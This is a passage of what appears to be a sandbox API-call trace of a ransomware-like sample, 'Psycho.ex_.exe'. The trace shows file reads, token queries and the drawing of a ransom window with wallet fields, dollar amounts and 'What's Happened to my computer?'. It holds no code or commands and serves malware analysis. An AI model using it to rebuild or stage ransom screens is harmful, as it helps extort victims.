GetFileType (hFile=0x2b4) returned 0x1 [0167.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ac930) returned 1 [0167.248] GetFileType (hFile=0x2b4) returned 0x1 [0167.823] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1aca98 | out: lpFileSizeHigh=0x1aca98*=0x0) returned 0x8c8f [0167.823] ReadFile (in: hFile=0x2b4, lpBuffer=0x28d2d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1aca08, lpOverlapped=0x0 | out: lpBuffer=0x28d2d00*, lpNumberOfBytesRead=0x1aca08*=0x1000, lpOverlapped=0x0) returned 1 [0167.851] ReadFile (in: hFile=0x2b4, lpBuffer=0x28d2d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ac7e8, lpOverlapped=0x0 | out: lpBuffer=0x28d2d00*, lpNumberOfBytesRead=0x1ac7e8*=0x1000, lpOverlapped=0x0) returned 1 [0167.852] ReadFile (in: hFile=0x2b4, lpBuffer=0x28d2d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ac5d8, lpOverlapped=0x0 | out: lpBuffer=0x28d2d00*, lpNumberOfBytesRead=0x1ac5d8*=0x1000, lpOverlapped=0x0) returned 1 [0167.852] ReadFile (in: hFile=0x2b4, lpBuffer=0x28d2d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ac5d8, lpOverlapped=0x0 | out: lpBuffer=0x28d2d00*, lpNumberOfBytesRead=0x1ac5d8*=0x1000, lpOverlapped=0x0) returned 1 [0167.852] ReadFile (in: hFile=0x2b4, lpBuffer=0x28d2d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ac5d8, lpOverlapped=0x0 | out: lpBuffer=0x28d2d00*, lpNumberOfBytesRead=0x1ac5d8*=0x1000, lpOverlapped=0x0) returned 1 [0167.852] ReadFile (in: hFile=0x2b4, lpBuffer=0x28d2d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ac498, lpOverlapped=0x0 | out: lpBuffer=0x28d2d00*, lpNumberOfBytesRead=0x1ac498*=0x1000, lpOverlapped=0x0) returned 1 [0167.855] ReadFile (in: hFile=0x2b4, lpBuffer=0x28d2d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ac6d8, lpOverlapped=0x0 | out: lpBuffer=0x28d2d00*, lpNumberOfBytesRead=0x1ac6d8*=0x1000, lpOverlapped=0x0) returned 1 [0167.857] ReadFile (in: hFile=0x2b4, lpBuffer=0x28d2d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ac588, lpOverlapped=0x0 | out: lpBuffer=0x28d2d00*, lpNumberOfBytesRead=0x1ac588*=0x1000, lpOverlapped=0x0) returned 1 [0167.857] ReadFile (in: hFile=0x2b4, lpBuffer=0x28d2d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ac588, lpOverlapped=0x0 | out: lpBuffer=0x28d2d00*, lpNumberOfBytesRead=0x1ac588*=0xc8f, lpOverlapped=0x0) returned 1 [0167.857] ReadFile (in: hFile=0x2b4, lpBuffer=0x28d2d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ac6a8, lpOverlapped=0x0 | out: lpBuffer=0x28d2d00*, lpNumberOfBytesRead=0x1ac6a8*=0x0, lpOverlapped=0x0) returned 1 [0167.857] CloseHandle (hObject=0x2b4) returned 1 [0167.858] GetCurrentProcess () returned 0xffffffffffffffff [0167.858] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1accc8 | out: TokenHandle=0x1accc8*=0x2b4) returned 1 [0167.859] GetCurrentProcess () returned 0xffffffffffffffff [0167.859] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1accc8 | out: TokenHandle=0x1accc8*=0x2b8) returned 1 [0167.859] GetCurrentProcess () returned 0xffffffffffffffff [0167.859] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1acaa8 | out: TokenHandle=0x1acaa8*=0x2bc) returned 1 [0167.860] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psycho.ex_.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1acb60 | out: lpFileInformation=0x1acb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0167.860] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config", nBufferLength=0x105, lpBuffer=0x1ac4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config", lpFilePart=0x0) returned 0x3b [0167.860] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psycho.ex_.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1acb48 | out: lpFileInformation=0x1acb48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0167.860] GetCurrentProcess () returned 0xffffffffffffffff [0167.860] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1accc8 | out: TokenHandle=0x1accc8*=0x2c0) returned 1 [0167.861] GetCurrentProcess () returned 0xffffffffffffffff [0167.861] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1accc8 | out: TokenHandle=0x1accc8*=0x2c4) returned 1 [0169.235] GetCurrentProcess () returned 0xffffffffffffffff [0169.235] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1aca18 | out: TokenHandle=0x1aca18*=0x2c8) returned 1 [0169.263] GetCurrentProcess () returned 0xffffffffffffffff [0169.263] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1aca28 | out: TokenHandle=0x1aca28*=0x2cc) returned 1 [0169.328] CopyImage (h=0x200f3, type=0x2, cx=32, cy=32, flags=0x0) returned 0xd018f [0169.330] CoGetContextToken (in: pToken=0x1ace30 | out: pToken=0x1ace30) returned 0x0 [0169.573] IUnknown:Release (This=0x1ac22890) returned 0x0 [0169.574] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0169.575] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0169.575] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0169.575] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0169.575] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0169.577] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0169.577] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28f35a8) returned 0x0 [0169.577] GdipGetFontSize (font=0x1cbe5080, size=0x28f35b0) returned 0x0 [0169.577] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0169.577] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0169.578] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0169.578] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0169.578] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0169.578] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28f39d0) returned 0x0 [0169.578] GdipGetFontSize (font=0x1cbe50c0, size=0x28f39d8) returned 0x0 [0169.578] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0169.578] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0169.579] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0169.579] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0169.579] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0169.579] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28f3df8) returned 0x0 [0169.579] GdipGetFontSize (font=0x1cbe5100, size=0x28f3e00) returned 0x0 [0169.579] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0169.579] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0169.579] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0169.579] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0169.581] GetCurrentThreadId () returned 0x950 [0169.581] GetCurrentThreadId () returned 0x950 [0169.722] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0169.724] AdjustWindowRectEx (in: lpRect=0x1ace48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace48) returned 1 [0169.726] GdipGetFamilyName (in: family=0x1b37c5e0, name=0x1acd50, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0169.728] CreateCompatibleDC (hdc=0x0) returned 0x690101c7 [0169.732] GetCurrentObject (hdc=0x690101c7, type=0x1) returned 0x1b00017 [0169.732] GetCurrentObject (hdc=0x690101c7, type=0x2) returned 0x1900010 [0169.732] GetCurrentObject (hdc=0x690101c7, type=0x7) returned 0x185000f [0169.732] GetCurrentObject (hdc=0x690101c7, type=0x6) returned 0x18a002e [0169.735] SaveDC (hdc=0x690101c7) returned 1 [0169.740] GetDeviceCaps (hdc=0x690101c7, index=90) returned 96 [0169.746] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6ef20 [0169.746] CreateFontIndirectW (lplf=0x1ac6ef20) returned 0x240a0726 [0169.746] CoTaskMemFree (pv=0x1ac6ef20) [0169.746] GetObjectW (in: h=0x240a0726, c=92, pv=0x1acd60 | out: pv=0x1acd60) returned 92 [0169.815] GetCurrentObject (hdc=0x690101c7, type=0x6) returned 0x18a002e [0169.815] GetObjectW (in: h=0x18a002e, c=92, pv=0x1acc80 | out: pv=0x1acc80) returned 92 [0169.817] SelectObject (hdc=0x690101c7, h=0x240a0726) returned 0x18a002e [0169.817] GetTextExtentPoint32W (in: hdc=0x690101c7, lpString="0", c=1, psizl=0x28f48a8 | out: psizl=0x28f48a8) returned 1 [0170.631] GetDC (hWnd=0x0) returned 0xd01027c [0170.631] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acef8) returned 0x0 [0170.631] GdipGetFontHeight (font=0x1b9c3a40, graphics=0x1cc22e70, height=0x1acef4) returned 0x0 [0170.631] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0170.631] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0170.632] GetCurrentThreadId () returned 0x950 [0170.632] GetCurrentThreadId () returned 0x950 [0170.632] GetCurrentThreadId () returned 0x950 [0170.632] GetCurrentThreadId () returned 0x950 [0170.633] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0170.633] AdjustWindowRectEx (in: lpRect=0x1ace48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace48) returned 1 [0170.637] GdipGetFamilyName (in: family=0x1b379060, name=0x1acb90, language=0x409 | out: name="Consolas") returned 0x0 [0170.637] GetDeviceCaps (hdc=0x690101c7, index=90) returned 96 [0170.637] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6f070 [0170.637] CreateFontIndirectW (lplf=0x1ac6f070) returned 0x40a0838 [0170.637] CoTaskMemFree (pv=0x1ac6f070) [0170.637] GetObjectW (in: h=0x40a0838, c=92, pv=0x1acba0 | out: pv=0x1acba0) returned 92 [0170.640] SelectObject (hdc=0x690101c7, h=0x40a0838) returned 0x240a0726 [0170.644] DeleteObject (ho=0x240a0726) returned 1 [0170.646] GetMapMode (hdc=0x690101c7) returned 1 [0170.646] GetTextMetricsW (in: hdc=0x690101c7, lptm=0x1acbb0 | out: lptm=0x1acbb0) returned 1 [0170.650] DrawTextExW (in: hdc=0x690101c7, lpchText="Transaction Link Wallet 2:", cchText=26, lprc=0x1acdb8, format=0x2400, lpdtp=0x28f4f78 | out: lpchText="Transaction Link Wallet 2:", lprc=0x1acdb8) returned 15 [0170.700] GetCurrentThreadId () returned 0x950 [0170.700] GetCurrentThreadId () returned 0x950 [0170.700] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0170.700] AdjustWindowRectEx (in: lpRect=0x1ace48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace48) returned 1 [0170.701] DrawTextExW (in: hdc=0x690101c7, lpchText="Transaction Link Wallet 1:", cchText=26, lprc=0x1acdb8, format=0x2400, lpdtp=0x28f5118 | out: lpchText="Transaction Link Wallet 1:", lprc=0x1acdb8) returned 15 [0170.702] GetCurrentThreadId () returned 0x950 [0170.702] GetCurrentThreadId () returned 0x950 [0170.702] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0170.702] AdjustWindowRectEx (in: lpRect=0x1ace48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace48) returned 1 [0170.702] DrawTextExW (in: hdc=0x690101c7, lpchText="Your Email", cchText=10, lprc=0x1acdb8, format=0x2400, lpdtp=0x28f52f8 | out: lpchText="Your Email", lprc=0x1acdb8) returned 15 [0170.702] GetCurrentThreadId () returned 0x950 [0170.702] GetCurrentThreadId () returned 0x950 [0170.702] GetCurrentThreadId () returned 0x950 [0170.702] GetCurrentThreadId () returned 0x950 [0170.702] GetCurrentThreadId () returned 0x950 [0170.702] GetCurrentThreadId () returned 0x950 [0170.703] UpdateWindow (hWnd=0x0) returned 0 [0170.704] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0170.704] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28f5680) returned 0x0 [0170.704] GdipGetFontSize (font=0x1cbe5140, size=0x28f5688) returned 0x0 [0171.123] GetDC (hWnd=0x0) returned 0xd01027c [0171.123] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acdf8) returned 0x0 [0171.123] GdipGetFontHeight (font=0x1cbe5140, graphics=0x1cc22e70, height=0x1acdf4) returned 0x0 [0171.123] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0171.123] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0171.124] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0171.124] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1ad098) returned 1 [0171.124] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0171.124] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1ad098) returned 1 [0171.125] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0171.125] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=0, unit=0x3, font=0x28f5ab0) returned 0x0 [0171.125] GdipGetFontSize (font=0x1cbe5180, size=0x28f5ab8) returned 0x0 [0171.126] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0171.126] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0171.126] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0171.126] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0171.139] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config", nBufferLength=0x105, lpBuffer=0x1ac8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config", lpFilePart=0x0) returned 0x3b [0171.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1acd60) returned 1 [0171.139] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\psycho.ex_.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1ace40 | out: lpFileInformation=0x1ace40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0171.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1acd20) returned 1 [0173.294] GetCurrentThreadId () returned 0x950 [0173.294] GetCurrentThreadId () returned 0x950 [0173.295] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0173.295] AdjustWindowRectEx (in: lpRect=0x1ace48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace48) returned 1 [0173.295] DrawTextExW (in: hdc=0x690101c7, lpchText="=", cchText=1, lprc=0x1acdb8, format=0x2400, lpdtp=0x28f9420 | out: lpchText="=", lprc=0x1acdb8) returned 15 [0173.297] GetDC (hWnd=0x0) returned 0xd01027c [0173.298] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acef8) returned 0x0 [0173.298] GdipGetFontHeight (font=0x1b9c3a40, graphics=0x1cc22e70, height=0x1acef4) returned 0x0 [0173.298] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0173.298] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0173.299] GetCurrentThreadId () returned 0x950 [0173.299] GetCurrentThreadId () returned 0x950 [0173.300] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0173.300] AdjustWindowRectEx (in: lpRect=0x1ace48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace48) returned 1 [0173.300] DrawTextExW (in: hdc=0x690101c7, lpchText="=", cchText=1, lprc=0x1acdb8, format=0x2400, lpdtp=0x28f95e8 | out: lpchText="=", lprc=0x1acdb8) returned 15 [0173.300] GetCurrentThreadId () returned 0x950 [0173.300] GetCurrentThreadId () returned 0x950 [0173.300] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0173.300] AdjustWindowRectEx (in: lpRect=0x1ace48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace48) returned 1 [0173.300] GdipGetFamilyName (in: family=0x1b379060, name=0x1acb90, language=0x409 | out: name="Consolas") returned 0x0 [0173.300] GetDeviceCaps (hdc=0x690101c7, index=90) returned 96 [0173.300] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6f1c0 [0173.300] CreateFontIndirectW (lplf=0x1ac6f1c0) returned 0x80a082e [0173.300] CoTaskMemFree (pv=0x1ac6f1c0) [0173.300] GetObjectW (in: h=0x80a082e, c=92, pv=0x1acba0 | out: pv=0x1acba0) returned 92 [0173.343] SelectObject (hdc=0x690101c7, h=0x80a082e) returned 0x40a0838 [0173.343] GetMapMode (hdc=0x690101c7) returned 1 [0173.343] GetTextMetricsW (in: hdc=0x690101c7, lptm=0x1acbb0 | out: lptm=0x1acbb0) returned 1 [0173.344] DrawTextExW (in: hdc=0x690101c7, lpchText="Wallet 2:", cchText=9, lprc=0x1acdb8, format=0x2400, lpdtp=0x28f9978 | out: lpchText="Wallet 2:", lprc=0x1acdb8) returned 19 [0173.355] GetCurrentThreadId () returned 0x950 [0173.355] GetCurrentThreadId () returned 0x950 [0173.355] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0173.356] AdjustWindowRectEx (in: lpRect=0x1ace48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace48) returned 1 [0173.356] SelectObject (hdc=0x690101c7, h=0x40a0838) returned 0x80a082e [0173.356] DrawTextExW (in: hdc=0x690101c7, lpchText="200 $", cchText=5, lprc=0x1acdb8, format=0x2400, lpdtp=0x28f9b28 | out: lpchText="200 $", lprc=0x1acdb8) returned 15 [0173.356] GetCurrentThreadId () returned 0x950 [0173.356] GetCurrentThreadId () returned 0x950 [0173.356] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0173.356] AdjustWindowRectEx (in: lpRect=0x1ace48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace48) returned 1 [0173.356] DrawTextExW (in: hdc=0x690101c7, lpchText="100 $", cchText=5, lprc=0x1acdb8, format=0x2400, lpdtp=0x28f9d30 | out: lpchText="100 $", lprc=0x1acdb8) returned 15 [0173.356] GetCurrentThreadId () returned 0x950 [0173.356] GetCurrentThreadId () returned 0x950 [0173.357] GetCurrentThreadId () returned 0x950 [0173.357] GetCurrentThreadId () returned 0x950 [0173.357] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0173.357] AdjustWindowRectEx (in: lpRect=0x1ace48, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace48) returned 1 [0173.357] SelectObject (hdc=0x690101c7, h=0x80a082e) returned 0x40a0838 [0173.357] DrawTextExW (in: hdc=0x690101c7, lpchText="Wallet 1:", cchText=9, lprc=0x1acdb8, format=0x2400, lpdtp=0x28f9f68 | out: lpchText="Wallet 1:", lprc=0x1acdb8) returned 19 [0173.357] GetCurrentThreadId () returned 0x950 [0173.357] GetCurrentThreadId () returned 0x950 [0173.357] UpdateWindow (hWnd=0x0) returned 0 [0173.357] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0173.358] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28fa1e0) returned 0x0 [0173.358] GdipGetFontSize (font=0x1cbe51c0, size=0x28fa1e8) returned 0x0 [0173.358] GetDC (hWnd=0x0) returned 0xd01027c [0173.358] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acdf8) returned 0x0 [0173.358] GdipGetFontHeight (font=0x1cbe51c0, graphics=0x1cc22e70, height=0x1acdf4) returned 0x0 [0173.358] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0173.358] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0173.358] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0173.358] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1ad098) returned 1 [0173.358] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0173.358] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x56000000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0x1ad098) returned 1 [0174.844] GdipLoadImageFromStream (stream=0x27ffa0, image=0x1ac670) [0176.383] GdipImageForceValidation (image=0x1cc22e70) returned 0x0 [0177.120] GdipGetImageType (image=0x1cc22e70, type=0x1ac668) returned 0x0 [0177.121] GdipGetImageRawFormat (image=0x1cc22e70, format=0x1ac570*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0177.122] GdipImageGetFrameDimensionsCount (image=0x1cc22e70, count=0x1ac570) returned 0x0 [0177.122] GdipImageGetFrameDimensionsList (image=0x1cc22e70, dimensionIDs=0x1ac9e840*(Data1=0x48740014, Data2=0x7361, Data3=0x4368, Data4=([0]=0x6f, [1]=0x64, [2]=0x65, [3]=0x0, [4]=0x6e, [5]=0x0, [6]=0x0, [7]=0x0)), count=0x1) returned 0x0 [0177.122] LocalFree (hMem=0x1ac9e840) returned 0x0 [0177.152] GdipImageGetFrameCount (image=0x1cc22e70, dimensionID=0x1ac568*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), count=0x2991960) returned 0x0 [0177.208] GdipLoadImageFromStream (stream=0x27ff20, image=0x1ac670) returned 0x0 [0177.335] GdipImageForceValidation (image=0x1cc23fd0) returned 0x0 [0177.481] GdipGetImageType (image=0x1cc23fd0, type=0x1ac668) returned 0x0 [0177.481] GdipGetImageRawFormat (image=0x1cc23fd0, format=0x1ac570*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0177.481] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0177.481] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0177.481] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0177.481] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0177.498] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0177.498] AdjustWindowRectEx (in: lpRect=0x1ad0f8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1ad0f8) returned 1 [0177.498] GetSystemMetrics (nIndex=59) returned 1460 [0177.498] GetSystemMetrics (nIndex=60) returned 920 [0177.498] GetSystemMetrics (nIndex=34) returned 132 [0177.498] GetSystemMetrics (nIndex=35) returned 38 [0177.498] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0177.498] AdjustWindowRectEx (in: lpRect=0x1aceb8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x1aceb8) returned 1 [0177.498] GetCurrentThreadId () returned 0x950 [0177.498] GetCurrentThreadId () returned 0x950 [0177.499] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0177.499] AdjustWindowRectEx (in: lpRect=0x1ace08, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ace08) returned 1 [0177.499] GdipGetFamilyName (in: family=0x1b379060, name=0x1acb50, language=0x409 | out: name="Consolas") returned 0x0 [0177.499] GetDeviceCaps (hdc=0x690101c7, index=90) returned 96 [0177.499] CoTaskMemAlloc (cb=0x5c) returned 0x1ac6eba0 [0177.500] CreateFontIndirectW (lplf=0x1ac6eba0) returned 0x20a0837 [0177.500] CoTaskMemFree (pv=0x1ac6eba0) [0177.500] GetObjectW (in: h=0x20a0837, c=92, pv=0x1acb60 | out: pv=0x1acb60) returned 92 [0177.500] SelectObject (hdc=0x690101c7, h=0x20a0837) returned 0x80a082e [0177.500] GetMapMode (hdc=0x690101c7) returned 1 [0177.500] GetTextMetricsW (in: hdc=0x690101c7, lptm=0x1acb70 | out: lptm=0x1acb70) returned 1 [0177.500] DrawTextExW (in: hdc=0x690101c7, lpchText="What's Happened to my computer?", cchText=31, lprc=0x1acd78, format=0x2400, lpdtp=0x2998318 | out: lpchText="What's Happened to my computer?", lprc=0x1acd78) returned 22 [0177.508] GetCurrentThreadId () returned 0x950 [0177.508] GetCurrentThreadId () returned 0x950 [0177.509] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0177.509] AdjustWindowRectEx (in: 